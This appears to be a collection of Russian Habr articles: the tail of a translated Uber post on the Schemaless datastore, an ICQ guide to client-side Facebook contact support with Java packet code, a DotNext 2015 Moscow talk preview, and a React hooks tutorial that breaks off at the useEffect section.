| Продукт 1 | ✓ | ✓ | ✗ | (✓) | ✗ |
| Продукт 2 | ✓ | ✓ | ✗ | (✓) | (✓) |
| Продукт 3 | ✓ | ✗ | ✗ | (✓) | ✗ |
В то время как все три системы линейно расширяемы добавлением новых серверов, только две из них имеют высокую доступность при записи. Ни одно из решений не реализует из коробки обмен сообщениями, поэтому нам пришлось бы реализовывать его на уровне приложения. Все они имеют индексы, но если вы собираетесь индексировать множество разных значений, запросы становятся медленными, так как они используют команду scatter-gather для опроса всех узлов (шардов).
Наконец, наше решение в конечном итоге определялось надежностью, поскольку мы должны хранить критически важные для работы бизнеса данные о поездке. Некоторые существующие решения могут надежно функционировать в теории. Но есть ли у нас оперативные знания для немедленной реализации их самых полных возможностей? Ведь многое зависит не только от технологии, которую мы используем, но и от тех людей, которые были в нашей команде.
Следует отметить, что, поскольку мы рассматривали эти варианты более двух лет назад и обнаружили, что ни один из них не применим в случае использования хранилища данных о поездках, мы с успехом применили как Cassandra, так и Riak в других областях нашей инфраструктуры, и мы используем их в производстве для обслуживания миллионов пользователей.
### В Schemaless мы надежны
Поскольку ни один из вышеперечисленных вариантов не соответствовал нашим требованиям в соответствии с временными рамками, которые мы имели, мы решили создать свою собственную систему, максимально упрощенную для работы, применяя уроки масштабирования, полученные от других. Дизайн вдохновлен Friendfeed, и акцент делался на операционную сторону, вдохновленную Pinteres.
Мы пришли к выводу, о необходимости проектирования хранилища типа key-value, которое позволяет сохранять любые данные JSON без строгой проверки схемы (отсюда и название schemaless). Оно было реализовано на MySQL сервере, распределенном на шарды, с буферизацией записи для обеспечения отказоустойчивости, и publish-subscribe обмен сообщениями об изменении данных, который основан на вызове триггеров. Наконец, Schemaless хранилище данных поддерживает глобальные индексы.
### Модель данных Schemaless
Schemaless — это append-only разреженная трехмерная hash map, похожая на Google’s Bigtable. Самый маленький объект данных в Schemaless называется ячейкой и неизменен. После записи он не может быть изменен или удален. Ячейка является объектом JSON (BLOB), доступ к которому можно получить при помощи ключа строки, имени столбца и ссылочного ключа, называемого ref key. Ключ строки — это UUID, имя столбца — это строка, а ссылочный ключ — целое число.
Вы можете представить ключ строки в качестве первичного ключа в реляционной базе данных и имя столбца в виде столбца реляционной базы данных. Однако в Schemaless нет предопределенной или принудительной схемы, и для строк не предопределены имена столбцов. Фактически, имена столбцов полностью определяются приложением. Ссылочный ключ ref key используется для версионирования ячеек. Поэтому, если ячейку необходимо обновить, вы должны написать новую ячейку с более высоким ключом ref key (последняя ячейка имеет самой высокий ref key). Ключ ref key также можно использовать как индекс в массиве, но обычно он используется для версионирования. Способ использования ref key определяется приложением.
Обычно приложения группируют связанные данные в один и тот же столбец, и все ячейки в каждом столбце имеют примерно одну и ту же схему на стороне приложения. Эта группировка — отличный способ объединить данные, которые меняются вместе, и позволяет приложению быстро изменять схему без простоя на стороне базы данных. Ниже приведен пример этого.
### Пример: Хранение данных о поезке Schemaless
Прежде чем мы погрузимся в то, как мы моделируем поездку в Schemaless, давайте посмотрим на анатомию поездки в Uber. Данные о поездке генерируются в разные моменты времени, например: окончание поездки, оплата поездки, и эти различные части информации поступают асинхронно. Диаграмма ниже представляет собой упрощенный поток, когда происходят разные части поездки Uber:
На диаграмме показана упрощенная версия нашего потока событий. \* обозначает части, которые являются необязательными и могут присутствовать несколько раз.
Поездка связывается водителем, который выполняет заказ клиента, и имеет отметку времени для его начала и конца. Эта информация представляет собой базовую (расчетную) поездку, и из этого мы вычисляем стоимость поездки (тариф), которая является тарифом для клиента. После окончания поездки нам, возможно, придется скорректировать тариф. Мы можем добавить к поездке примечания, учитывая отзывы от клиента или от водителя (отмечено звездочкой на диаграмме выше). Или, возможно, клиенту придется сделать несколько попыток оплатить поездку платежной картой, если одна из его карт заблокирована. Поток событий в Uber — это процесс, управляемый данными. По мере того, как данные становятся доступными или добавляются в ходе поездки, будет выполняться определенный набор процессов. Некоторая информация, такая как оценка качества выполнения услуги (считается частью заметок на приведенной выше диаграмме), может наступить через несколько дней после завершения поездки.
Итак, как мы сопоставляем приведенную выше модель поездки с Schemaless?
### Модель данных поездки
Будем использовать курсив для обозначения *UUID* и заглавные буквы для обозначения имен столбцов, в таблице ниже показана модель данных для упрощенной версии нашего хранилища поездок. У нас есть две поездки (UUIDs trip\_uuid1 и trip\_uuid2) и четыре столбца (BASE, STATUS, NOTES и FARE ADJUSTMENT). Каждая ячейка представлена блоком с числом и объектом JSON (сокращенно {...}). Блоки показаны с наложением для представления версионности.
trip\_uuid1 имеет три ячейки: одну в столбце BASE, две в столбце STATUS и ни одной в столбце FARE ADJUSTMENTs. trip\_uuid2 имеет две ячейки в столбце BASE, одну в столбце NOTES, а также в столбце FARE ADJUSTMENTS. Для Schemaless столбцы не отличаются; поэтому семантика столбцов определяется приложением, которое в этом случае является сервисом Mezzanine.
В Mezzanine ячейки базы BASE содержат базовую информацию о поездке, такую как UUID водителя и время поездки. Столбец STATUS содержит текущий статус оплаты поездки, в который мы вставляем новую ячейку для каждой попытки выставить счет. (Попытка не удалась, если у кредитной карты не было достаточных средств или карточка заблокирована). Столбец NOTES содержит ячейку, если есть заметки, которые оставил водитель или диспетчер. Наконец, столбец FARE ADJUSTMENTs содержит ячейки, если тариф за поездки был скорректирован.
Мы используем такую структуру столбцов, чтобы избежать состояние гонки и минимизировать объем данных, которые необходимо записать при обновлении. Столбец BASE записывается, когда поездка завершена, и, как правило, только один раз. Столбец STATUS записывается, когда мы пытаемся оплатить поездку, которая происходит после записи данных в столбце BASE и может произойти несколько раз, если был сбой при оплате счета. Столбец NOTES также может быть написан несколько раз в некоторый момент после записи BASE, но он полностью отделен от записи столбца STATUS. Аналогично, столбец FARE ADJUSTMENTS записывается только в том случае, если тариф за проезд изменен, например, из-за неэффективного маршрута.
**Сквозные триггеры**
Ключевой особенностью Schemaless являются триггеры, которые позволяют получать уведомления об изменениях в экземпляре Schemaless. Поскольку ячейки неизменяемы и добавляются новые версии, каждая ячейка также представляет собой изменение или версию, позволяя значениям в экземпляре рассматриваться как журнал изменений. Для данного экземпляра можно прослушивать эти изменения и запускать на них функции, очень похожие на шины сообщений, такую как Kafka.
Schemaless триггеры делают Schemaless надежным источником данных, потому что, помимо прямого доступа к данным, система сообщений может использовать функцию триггера для мониторинга и запуска любого прикладного кода (аналогичная система — DataBus от LinkedIn), разделяя процессы создания данных и их обработку.
Среди других вариантов использования, Uber использует триггеры Schemaless для выставления счета, когда столбец BASE записывается в экземпляр Mezzanine. В приведенном выше примере, когда написан столбец BASE для trip\_uuid1, наша биллинговая служба, которая запускается в столбце BASE, выбирает эту ячейку и будет пытаться провести оплату поездки, через платежную карту. Результат оплаты через платежную карту, будь то успех или неудача, записывается в Mezzanine в столбце STATUS. Таким образом, биллинговая служба отделена от создания поездки, а Schemaless выступает в качестве асинхронной шины сообщений.
### Индексы для удобного доступа
Наконец, Schemaless поддерживает индексы, определенные по полям в объектах JSON. Индекс запрашивается через эти предопределенные поля, чтобы найти ячейки, которые соответствуют параметрам запроса. Запрос этих индексов эффективен, потому что для запроса индекса требуется обращение только к одному шарду, чтобы найти набор ячеек для возврата. Фактически, запросы могут быть дополнительно оптимизированы, поскольку Schemaless позволяет денормализовать данные ячейки, записав их непосредственно в индекс. Наличие денормализованных данных в индексе означает, что для запроса индекса требуется только один шард для запроса индекса и получения информации. Фактически, мы обычно рекомендуем пользователям Schemaless денормализовать часто запрашиваемые данные, в индексы, в дополнение к тому, чтобы получить ячейку непосредственно через ключ строки.
В качестве примера для Mezzanine у нас есть индекс, который позволяет нам находить поездки заданного водителя. Также мы денормализовали время создания поездки и город, где была проведена поездка. Это позволяет находить все поездки для водителя в городе за определенный промежуток времени. Ниже мы приводим определение индекса driver\_partner\_index в формате YAML, который является частью хранилища данных поездок и определен над столбцом BASE (пример аннотируется комментариями с использованием стандартного #).
```
table: driver_partner_index # Name of the index.
datastore: trips # Name of the associated datastore
column_defs:
– column_key: BASE # From which column to fetch from.
fields: # The fields in the cell to denormalize
– { field: driver_partner_uuid, type: UUID}
– { field: city_uuid, type: UUID}
– { field: trip_created_at, type: datetime}
```
Используя этот индекс, мы можем найти поездки для данного driver\_partner\_uuid, отфильтрованные по city\_uuid, и/или trip\_created\_at. В этом примере мы используем только поля из столбца BASE, но Schemaless поддерживает денормализацию данных из нескольких столбцов, что будет содержать несколько записей в приведенном выше списке column\_def.
Как упоминалось, у Schemaless есть эффективные индексы, реализованные путем шардирования индексов на основе шардированного поля. Поэтому единственным требованием для шардированного индекса является то, что одно из полей в индексе обозначается как шардированное поле (в приведенном выше примере это будет driver\_partner\_uuid, поскольку он является первым заданным). Шардированное поле определяет, какой шард должен записывать или читать индекс. Для этого нам и нужно определять шардированное поле при запросе индекса. Это означает, что во время запроса нам нужно запросить всего один шард для извлечения записей индекса. Важное требование к шардированному полю состоит в том, что оно должно обеспечивать хорошее распределение данных по шардам. Наилучшим образом подходят UUID, идентификаторы города являются менее предпочтительными, а поля статусов (перечисления) принесут скорее вред, чем пользу.
За исключением шардированных полей, Schemaless поддерживает запросы на равенство, неравенство и диапазон запросов для фильтрации, а также поддерживает выбор только подмножества полей в индексе и извлечение определенных или всех столбцов для ключа строки, на который указывают записи индекса. В настоящее время шардированное поле должно быть неизмеяемым, что позволяет Schemaless однозанвчно определить шард на котором расположены данные. Но мы изучаем, как сделать его изменяемым без издержек производительности.
Наши индексы согласованы в конечном счете (eventually consistent). Всякий раз, когда мы пишем данные в ячейку, мы также обновляем записи индекса, но это не происходит в одной транзакции. Ячейки и записи индекса обычно не относятся к одному и тому же шарду. Поэтому, если бы мы реализовывали согласованные индексы, нам нужно было бы ввести двухфазный коммит при записи, что повлекло бы значительные накладные расходы. В результате с eventually consistent индексами мы избегаем накладных расходов, но пользователи Schemaless могут видеть устаревшие данные в индексах. Большую часть времени отставание значительно ниже 20 мс между изменениями ячеек и соответствующими изменениями индекса.
### Резюме
Мы представили обзор модели данных, триггеров и индексов, которые являются ключевыми функциями, которые определяют Schemaless — основной компонент нашего механизма хранения данных о поездке. В будущих сообщениях мы рассмотрим еще несколько функций Schemaless, чтобы проиллюстрировать, как он стал добрым помощником в инфраструктуре Uber: больше об архитектуре, использовании MySQL в качестве шарда и о том, как мы обрабатываем ошибки обеспечивая надежность работы мобильного приложения.
[Часть 2: Архитектура схемы](https://eng.uber.com/schemaless-part-two/)
[Часть 3: Использование триггеров в Schemaless](https://eng.uber.com/schemaless-part-three/)
Jakob Thomsen is a software engineer and tech lead on the Schemaless project and works at the Uber Engineering office in Aarhus, Denmark. See our talk at Facebook’s second annual @Scale conference in September 2015 for more info on Schemaless.
Photo Credits for Header: “anim1069” by NOAA Photo Library licensed under CC-BY 2.0. Image cropped for header dimensions and color corrected.
Header Explanation: Since Schemaless is built using MySQL, we introduce the series using a dolphin striking a similar pose but with opposite orientation to the MySQL logo. | https://habr.com/ru/post/354050/ | null | ru | null |
# Не только Аська в ICQ-клиентах
Начнем с главного: зачем мы написали этот пост?
Уже больше года у нас реализована возможность общения с друзьями из Facebook, не покидая ICQ. Так сложилось, что ни один неофициальный ICQ-клиент до сих пор не добавил к себе нашу серверную поддержку Facebook — при том, что возможность вроде бы удобная, полезная и легкая в реализации. Возможно, ситуация изменится после публикации короткого и понятного HOWTO по теме. Скромно можем сказать, что аналогичный функционал в других IM-сетях отсутствует (да, естественно, любой клиент может сам установить два соединения к двум разным серверам и обрабатывать два разных протокола, но мы единственные делаем практически всю работу за автора клиента).
Итак – вначале, естественно, пользователь должен «привязать» свой аккаунт на Facebook к своему номеру в ICQ.
К сожалению, это самая сложная часть процедуры, т. к. требует запуска браузера (к счастью, пользователь проходит через неё один раз в жизни). Проще всего открыть ссылку <https://www.icq.com/login/ru?dest=http://lifestream.icq.com/settings/clientsettings?service=facebook&permission=xmpp> в обычном браузере, но можно сделать это и в компоненте браузера внутри приложения — в меньшем окне страница, открывающаяся по ссылке, будет выглядеть красивее.
Если Facebook уже «привязан», то для того чтобы получать Facebook-контакты клиент должен на этапе логина к серверу отправить SNAC-пакет [snac-family=0x0003, snac-type=0x0002] с TLV {t=0x0008, l=1, v='\1' } внутри.
````
public static final int ICQ_FACEBOOK_SUPPORT = 0x0302;
private final BytesBuffer cs_FaceBook_create ( ) {
return SNAC_Packet.newSnacPacket ( this, ICQ_FACEBOOK_SUPPORT, Garbage.getBytesBuffer ( ).putWord ( 8 ).putWord ( 1 ).writeByte ( 1 ) );
}
````
Контакты Facebook-сервер присылает в отдельном SNAC-пакете [snac-family=0x0013, snac-type=0x0008].
Клиент должен обработать этот пакет от сервера, отпарсить, добавить Facebook-контакты в локальный контакт-лист.
````
private final void sc_Roster_Add_received ( final BytesBuffer packet ) {
// Debug._trace ( "------sc 1308-------" );
// packet.dump ( );
try {
while ( packet.available ( ) > 0 )
{
String name = null;
String proto = null;
final String jid = packet.readPascalUTF8 ( ); // -1363121303@chat.facebook.com
final int group = packet.getWord ( ); // 0001
final int id = packet.getWord ( ); // 0003
final int buddy = packet.getWord ( ); // 0000
int len = packet.getWord ( ); // 0023
while ( len > 0 )
{
final int t = packet.getWord ( );
final int l = packet.checkWord ( );
if ( t == 0x0131 )
name = packet.readPascalUTF8 ( ); // e.g "Alexander Peregudov"
else
if ( t == 0x0084 )
proto = packet.readPascalUTF8 ( ); // "facebook" magic string
else
{
Debug._trace ( "unknown tlv type=" + t + " len=" + l );
packet.skip ( l + 2 );
}
len -= 4 + l;
}
if ( buddy == 0 && StringCache.EqualsTo ( ASCII_CS_FACEBOOK_PROTO, proto ) )
{
// Debug._trace ( "got FACEBOOK contact name='" + name + "' proto='" + proto + "' jid='" + jid + "' group=" + group + " id=" + id + " buddy=" + buddy);
final ICQ_Group igroup;
if ( (igroup = findGroup ( group )) != null )
igroup.add ( new ICQ_Contact ( this, id, group, jid, name, false ) );
else
Debug._trace ( "WARNING! no group for " + name + ". - skipped" );
}
}
}
catch ( final Throwable x )
{
x.printStackTrace ( );
}
}
````
Дальнейшая работа с Facebook-контактами аналогична работе с обычными ICQ-контактами. Отправка сообщений и другие действия совершаются с помощью стандартных пакетов и дополнительного программирования не требуется.
Несколько слов о том, как Facebook реализовал jabber. Самое важное — статус в jabber синхронизован со статусом на сайте, если* пользователь находится под Facebook-аккаунтом в ICQ, то он будет online, как для других клиентов, которые реализуют Facebook-протокол, так и в чате на сайте Facebook.
* входящие сообщения пользователь получает сразу во всех клиентах. Например, если пользователь находится на сайте Facebook и у него включена ICQ с Facebook, а также Агент с Facebook, то он получит сообщение трижды. Данная особенность находится на стороне Facebook.
Разумеется, как и положено протоколу XMPP, все сообщения идут централизованно через сервер Facebook, при этом история сообщений хранится в клиенте. Отправка сообщений происходит мгновенно, без каких-либо задержек.
Что касается антиспама, то он реализован на стороне Facebook и насколько мы можем судить, единственный используемый фильтр – только друзья могут отправлять сообщения друг другу.
Поскольку Facebook не поддерживает большинство операций по управлению контакт-листом, даем небольшой disclaimer относительно того, какие существуют ограничения: * Facebook-контакты нельзя переименовывать, как-либо изменять или удалять
* их нельзя переносить в другую группу
* группу Facebook-контактов нельзя как-либо модифицировать (удалять, переименовывать, переносить контакты в группу и из группы)
* нельзя отправлять сообщения для Facebook-контактов находящихся offline
Полезные советы напоследок:* Facebook-контакты могут находиться в одном из трех состояний (онлайн, оффлайн и эвей), можно использовать для них отдельные иконки, можно ромашки
* как такового числового 32-битного UIN у этих контактов нет; хотя в OSCAR-протоколе нет мест, где идентификатор передается именно как 32-битное число, вашу программу всё же стоит перепроверить
Как всегда, готовы ответить на дополнительные вопросы в комментариях. | https://habr.com/ru/post/122241/ | null | ru | null |
# .NET-Хардкор в Москве
Конференция [DotNext 2015 Moscow](http://msk2015.dotnext.ru/) уже скоро! Мне посчастливилось быть в программном комитете этого замечательного мероприятия, так что я теперь в курсе закулисной деятельности: наблюдаю за общей организацией и помогаю готовить доклады. Организаторы долгими неделями трудятся с утра и до вечера, чтобы у вас была возможность на один день погрузиться в уникальную атмосферу: послушать крутые доклады, пообщаться с умными людьми, завести полезные знакомства, покушать вкусной еды, вдохновиться на великие свершения и просто хорошо провести время.
Впрочем, самым важным на конференции является не атмосфера, а контент. В этом году программа очень насыщенная: 22 докладчика (из которых 7 являются MVP) будут в 4 потока целый день рассказывать вам про .NET. Темы будут самые разные: есть доклады про новинки .NET-мира, про современные подходы и тенденции разработки ПО, про использование хороших библиотек/инструментов и про много чего ещё. Но моя любимая тема — это внутренности .NET, потроха рантайма и прочий хардкор. Мне кажется, что рано или поздно каждый сеньор разработчик приходит к осознанию того, что для разработки действительно сложных продуктов явно не помешает понимать, что же происходит под капотом наших программ. Увы, разбираться с этим самостоятельно зачастую долго и сложно: слишком уж много всего надо изучить. Поэтому с каждой следующей конференцией DotNext мы повышаем градус хардкора и пытаемся умудриться в течение одного дня загрузить в оперативную память разработчиков максимальное количество интересной и полезной информации о том, что же на самом деле делают наши приложения и как их лучше писать.
По долгу служебных обязанностей я уже послушал почти все доклады (каждый докладчик подвергается серии изнурительных прослушиваний, тренировок и тренингов с целью повышения качества материала и изложения), так что хорошо представляю, что же вас ждёт через две недели. А сегодня мне бы хотелось немного поговорить про доклады с тэгом hardcore. Если вы любите разбираться с рантаймом также, как люблю это я, то крайне рекомендую посетить шесть нижеприведённых докладов.
---
[Саша Гольдштейн: The Vector in Your CPU: Exploiting SIMD for Superscalar Performance](http://msk2015.dotnext.ru/talks/goldshtein2/)
------------------------------------------------------------------------------------------------------------------------------------
Я очень рад, что в этом году мы смогли заполучить такого докладчика. Саша — автор очень клёвой книжки под названием [«Pro .NET Performance»](http://www.amazon.com/Pro-NET-Performance-Optimize-Applications/dp/1430244585), автор [крутых курсов](https://www.pluralsight.com/authors/sasha-goldshtein) на Pluralsight, [блоггер](http://blogs.microsoft.co.il/sasha/) (беглого взгляды на его посты хватит для осознания того, что ему есть, о чём рассказать), MVP и просто замечательный человек. В этом году он привезёт нам сразу два доклада, один из которых будет про векторизацию. Тема в .NET-мире не такая уж и раскрученная, т. к. до недавнего времени не было нормальных возможностей для этой самой векторизации. Но теперь у нас есть .NET 4.6 и RyuJIT, которые позволяют резко поднять эффективность многих алгоритмов. Знания эти весьма полезные, так что если у вас руки ещё не дошли до того, чтобы нормально разобраться с `System.Numerics.Vectors`, то на этом докладе вы явно узнаете много нового и полезного.
---
[Карлен Симонян: Атомарные операции и примитивы в .NET](http://msk2015.dotnext.ru/talks/simonyan/)
--------------------------------------------------------------------------------------------------
В Java-мире люди любят обсуждать Java Memory Model. На эту тему мне очень нравятся [выступления](http://shipilev.net/#jmm) Алексея Шипелёва и [доклады](https://www.youtube.com/watch?v=qKTREnERaec) Алексея Фёдорова. Я очень долго ждал, когда же в .NET-мире подобная тема начнёт популяризироваться. И наконец-то дождался! К нам придёт Карлен [szKarlen](https://habrahabr.ru/users/szkarlen/) Симонян и прочитает восхитительный доклад на эту тему. Неделю назад он выслал мне свои слайды, с тех пор я каждый вечер перед сном открываю их, перечитываю и радуюсь.
Могу сказать, что там много слов типа race condition, acquire/release, volatile, store buffer, data alignment, spurious wakeup, false sharing, lock-free, [atomics.net](https://github.com/szKarlen/atomics.net) и не только. Во время доклада Карлен пополнит приведённый список важных терминов популярными объяснениями, а также приведёт показательные примеры, иллюстрирующие сложность современных процессоров. Уровень детализации материала и количество увлекательных фактов зашкаливают, так что если вам доводится работать больше, чем в один поток, то посещение доклада относится к разряду обязательных.
---
[Александ Никитин: .NET Generics under the hood and a JITter bug for dessert](http://msk2015.dotnext.ru/talks/nikitin/)
-----------------------------------------------------------------------------------------------------------------------
Generic-классы активно используются практически в любом .NET-проекте. Но многие ли из вас задумываются о том, что же скрывается за волшебной конструкцией ? Многие ли из вас ценят ту титаническую работу, которую каждодневно проделывает для нас JIT-компилятор, генерируя из удобочитаемых и лаконичных синтаксических конструкций тысячи ассемблерных инструкций? Если нет, то рекомендую сходить на доклад Александра. А ещё рекомендую почитать его [блог](http://alexandrnikitin.github.io/blog/), из него сразу становится понятно, что этот человек явно может многое рассказать про внутренности generic-классов.
---
[Михаил Щербаков: WinDbg в руках .NET разработчика](http://msk2015.dotnext.ru/talks/sherbakov/)
-----------------------------------------------------------------------------------------------
Слушать и читать про происходящее внутри ваших программ безусловно полезно, но ещё полезнее брать собственный код и начинать самостоятельно лезть внутрь, изучая ассемблерные листинги, таблицы методов и внутренние структуры сборщика мусора. Дело это сложное, но проведённые в дебаггере ночи дают уникальный опыт, который другими путями не приобрести. Если вы уделите данному занятию должное внимание, то впоследствии начнёте намного лучше понимать происходящее и сможете вылавливать хардкорные ошибки самого рантайма за вменяемое время. Разумеется, для анализа внутренностей .NET необходим хороший и удобный инструмент. Увы, такого пока не изобрели, поэтому приходится использовать WinDbg. Я помню, как я познакомился с этой программой первый раз. Я открыл WinDbg, посмотрел на него, WinDbg посмотрел на меня, после чего каждый пошёл своей дорогой. В последствии мне пришлось вернуться в этому чудо-инструменту, но первые дни приходилось много страдать. Жаль, не было у меня человека, который бы мне всё рассказал и показал.
А вот у вас такой человек есть! На DotNext приедет Михаил Щербаков и расскажет нам, как же совладать с WinDbg и насколько крутые штуки можно делать с его помощью. Миша — постоянный спикер на разных .NET-конференциях (любит рассказывать про [безопасность приложений](https://www.youtube.com/watch?v=PkFuKQo6Iss)), организатор [.NET-митапов](http://spbdotnet.org) в Петербурге, автор проекта [IntelliDebugger](https://visualstudiogallery.msdn.microsoft.com/16acdc63-c4f1-43a7-866a-67ff7022a0ac) и крутой .NET-разработчик. Если во время доклада вы не осознаете все тонкости работы с WinDbg, то Мишу можно будет подкараулить в кулуарах и заставить показать рассказанное на примерах.
---
[Игорь Яковлев: Использование и устройство DLR](http://msk2015.dotnext.ru/talks/yakovlev/)
------------------------------------------------------------------------------------------
DLR — тема специфическая, далеко не все ей занимаются. Но если вам всё-таки доводится писать ключевое слово `dynamic`, то явно не помешает знать, что же оно означает и во что может превратиться обычное `a + b`, если вы решили идти по пути динамической типизации. В этом случае вам обязательно нужно сходить на доклад Игоря: он расскажет про внутреннюю кухню данного подхода и про то, как он может вам пригодиться в жизни. А если вас за всю карьеру не посещала идея о том, что под .NET можно писать динамический код, то всё равно сходите: тема интересная и познавательная. Игорь не так давно уже [рассказывал](https://www.youtube.com/watch?v=XLiw5evR6h8) про DLR в Петербурге, а в Москву он приедет со значительно доработанной и улучшенной версией своего материала.
---
[Андрей Акиньшин: Продолжаем говорить о микрооптимизациях .NET-приложений](http://msk2015.dotnext.ru/talks/akinshin/)
---------------------------------------------------------------------------------------------------------------------
Я тоже выступлю с докладом, буду рассказывать про то, как делать ваши приложения супер-быстрыми. Мне довелось выступать [по данной теме](https://www.youtube.com/watch?v=mnPJZxm2yyw) на прошлом DotNext в Петербурге, а в этот раз я продолжу свою любимую тему и целый час буду травить разные весёлые истории про производительность.
Все сюжеты основаны на реальных событиях: это проблемы, с которыми сталкивался лично я, мои коллеги и программисты с просторов интернета. Буду рассказывать как про старые темы вроде [бенчмарков](https://github.com/PerfDotNet/BenchmarkDotNet) (вот [тут](https://www.youtube.com/watch?v=RL21wPsiy3o) есть свежее видео про то, почему бенчмарки сложны), так и про новые вроде [blittable-типов](http://aakinshin.net/ru/blog/dotnet/blittable/). Историй у меня много, но для доклада я попытался выбрать самые простые и показательные, чтобы за отведённое время пройтись по самым разным темам и познакомить вас с удивительным миром микрооптимизаций.
---
Заключение
----------
Резюмирую: конференция получается очень крутой и хардкорной. Если у вас есть возможность, то настоятельно рекомендую [посетить](http://msk2015.dotnext.ru/#tickets) DotNext 2015 Moscow, других подобных конференций вы не найдёте!
[](http://msk2015.dotnext.ru/) | https://habr.com/ru/post/271915/ | null | ru | null |
# Хуки — это лучшее, что случилось с React
React — это [самая популярная фронтенд-библиотека](https://insights.stackoverflow.com/survey/2021?_ga=2.39987493.680762715.1636013141-1692851873.1636013141#section-most-popular-technologies-web-frameworks) из [экосистемы JavaScript](https://stackoverflow.blog/2018/01/11/brutal-lifecycle-javascript-frameworks/). Она известна простотой использования и читабельностью кода, создаваемого с её применением. Это позволяет организациям самых разных масштабов успешно внедрять данную библиотеку. Но компоненты, основанные на классах, это громоздкие конструкции, с которыми непросто разобраться. Хуки позволяют работать с состоянием компонентов, с методами их жизненного цикла, с другими механизмами React без использования классов.
[](https://habr.com/ru/company/ruvds/blog/587728/)
В этой статье мы поговорим о том, что такое React-хуки, о том, что отличает их от других механизмов библиотеки, и о том, почему они — это лучшее, что случилось с React.
О возникновении хуков React
---------------------------
Изначально в библиотеке React использовались, в основном, компоненты, основанные на классах. Применение таких компонентов может потребовать приложения чрезмерных усилий в ходе разработки, так как программисту постоянно приходится переключаться между классами, компонентами высшего порядка, свойствами рендеринга. А с появлением хуков React можно, решая те же задачи, что и раньше, не переключаясь между различными механизмами, просто пользоваться функциональными компонентами. Хуки значительно улучшили React из-за того, что с их помощью можно писать код, который получается проще, чем код, который писали раньше, но при этом позволяет быстрее и эффективнее реализовывать похожий функционал. А ещё можно, не пользуясь классами, работать с состоянием компонентов и с методами их жизненного цикла.
Вот примеры кода, иллюстрирующие использование компонентов, основанных на классах, и функциональных компонентов.
Компонент, основанный на классах:
```
import React, { Component } from 'react'
export default class Hello extends Component {
render() {
return(
Hello World!
)
}
```
Этот компонент выводит в DOM элемент с сообщением `Hello World!`.
А вот — код функционального компонента, решающего ту же задачу.
```
import React from 'react'
export default function Hello() {
return (
Hello World!
)
}
```
Сравнение этих двух примеров показывает, что код функционального компонента гораздо проще кода аналогичного компонента, основанного на классах. Для его использования не нужно создавать экземпляр класса, не нужно вызывать `render()`. Достаточно просто вызвать нужную функцию. Хуки React обладают многими достоинствами, они способны помочь программисту в решении множества задач. Одна из главнейших сильных сторон хуков заключается в том, что они упрощают работу с методами жизненного цикла компонентов React.
Да, обратите внимание на то, что хуки нельзя использовать в компонентах, основанных на классах.
Как хуки упрощают работу с методами жизненного цикла компонентов?
-----------------------------------------------------------------
Среди методов жизненного цикла React-компонента можно отметить те, которые вызываются при его монтировании, обновлении и размонтировании.
* Монтирование — это вставка элементов в DOM.
* Обновление — это, как можно судить по названию, обновление элементов DOM.
* Размонтирование — это удаление элементов из DOM.
Вот схема, на которой представлены различные методы жизненного цикла React-компонента.
[*Методы жизненного цикла*](https://stackoverflow.com/questions/29873730/react-lifecycle-methods-understanding?_ga=2.42647074.680762715.1636013141-1692851873.1636013141) *React-компонента*
Изначально эти методы можно было использовать только при применении компонентов, основанных на классах. Это обычно было связано с необходимостью работать с кодом, который достаточно сложно писать и читать. Если же пользоваться функциональными компонентами и хуками — решение тех же задач упрощается.
Предположим, нам нужно загрузить данные с использованием метода жизненного цикла `componentDidMount()` в компоненте, основанном на классах:
```
import React, { Component } from 'react'
import Axios from 'axios'
export default class Hello extends Component {
constructor(props) {
super(props);
this.state = { name: ""};
}
componentDidMount() {
Axios.get('/api/user/name')
.then(response => {
this.setState({ name: response.data.name })
})
}
render() {
return (
My name is {this.state.name}
)
}
}
```
А теперь решим ту же задачу в функциональном компоненте, пользуясь хуками `useState` и `useEffect`:
```
import React, { useEffect, useState } from 'react'
import Axios from 'axios'
export default function Hello() {
const [Name, setName] = useState("")
useEffect(() => {
Axios.get('/api/user/name')
.then(response => {
setName(response.data,name)
})
}, [])
return (
My name is {Name}
)
}
```
Этот код загружает нужные данные с использованием Axios API и выводит их в DOM. Хуки `useEffect` и `useState` позволяют писать более эффективный и компактный код, чем код, который пишут при использовании компонентов, основанных на классах. Такой код получается понятнее, с ним легче работать. При использовании методов жизненного цикла в компонентах, основанных на классах, приходится по-отдельности работать с методами `componentDidMount()`, `componentDidUpdate()`, `componentWillUnmount()`, а при использовании хуков можно просто сделать всё, что нужно, с помощью `useEffect`.
Хуки облегчили изучение React
-----------------------------
Компоненты, основанные на классах, всегда были несколько громоздкими и непонятными конструкциями, особенно учитывая то, что их применение ведёт к тому, что механизмы управления состоянием компонента и многократного использования кода кажутся сложнее, чем они есть на самом деле. Это привело к тому, что многие новички избегали React, выбирая более «лёгкие» библиотеки и фреймворки. А с появлением хуков изучить React стало легче, чем прежде. Это стало одной из причин роста популярности React.
*Вопросы о различных библиотеках и фреймворках на* [*Stack Overflow*](https://insights.stackoverflow.com/trends?tags=jquery%2Cangularjs%2Cangular%2Creactjs)
На этом графике виден постоянный рост интереса к React на Stack Overflow, продолжающийся уже много лет. Здесь же можно сравнить процент вопросов о React с процентом вопросов о других популярных JavaScript-инструментах. Этот график доказывает то, что разработчики стали чаще пользоваться библиотекой React после появления хуков.
О некоторых хуках и их предназначении
-------------------------------------
До появления хуков организация кода компонентов на основе методов жизненного цикла вынуждала разработчиков «разбрасывать» по разным компонентам код, направленный на реализацию схожей логики. Для решений этой и других мелких проблем в React были введены функциональные компоненты, что позволило упростить код и сделать его более гибким. Ещё одна задача, которую постоянно приходилось решать разработчикам с использованием не особенно удобных механизмов, заключалась в изменении состояния компонентов. Для решения этой задачи теперь используется хук `useState`.
### ▍Хук useState
Вероятно, `useState` — это самый распространённый React-хук. Он позволяет работать с переменными состояния в функциональных компонентах.
```
const loadingTuple = React.useState(true)
const loading = loadingTuple[0]
const setLoading = loadingTuple[1]
loading // true
setLoading(false)
loading // false
```
Здесь `useState` принимает единственный аргумент: исходное значение состояния. Он возвращает массив с переменной `state` и с функцией для обновления этого состояния. После этого у программиста есть всё, что нужно для работы с состоянием в функциональном компоненте.
Следующий хук, который мы рассмотрим, направлен на работу с методами жизненного цикла в функциональных компонентах. Он называется `useEffect`.
### ▍Хук useEffect
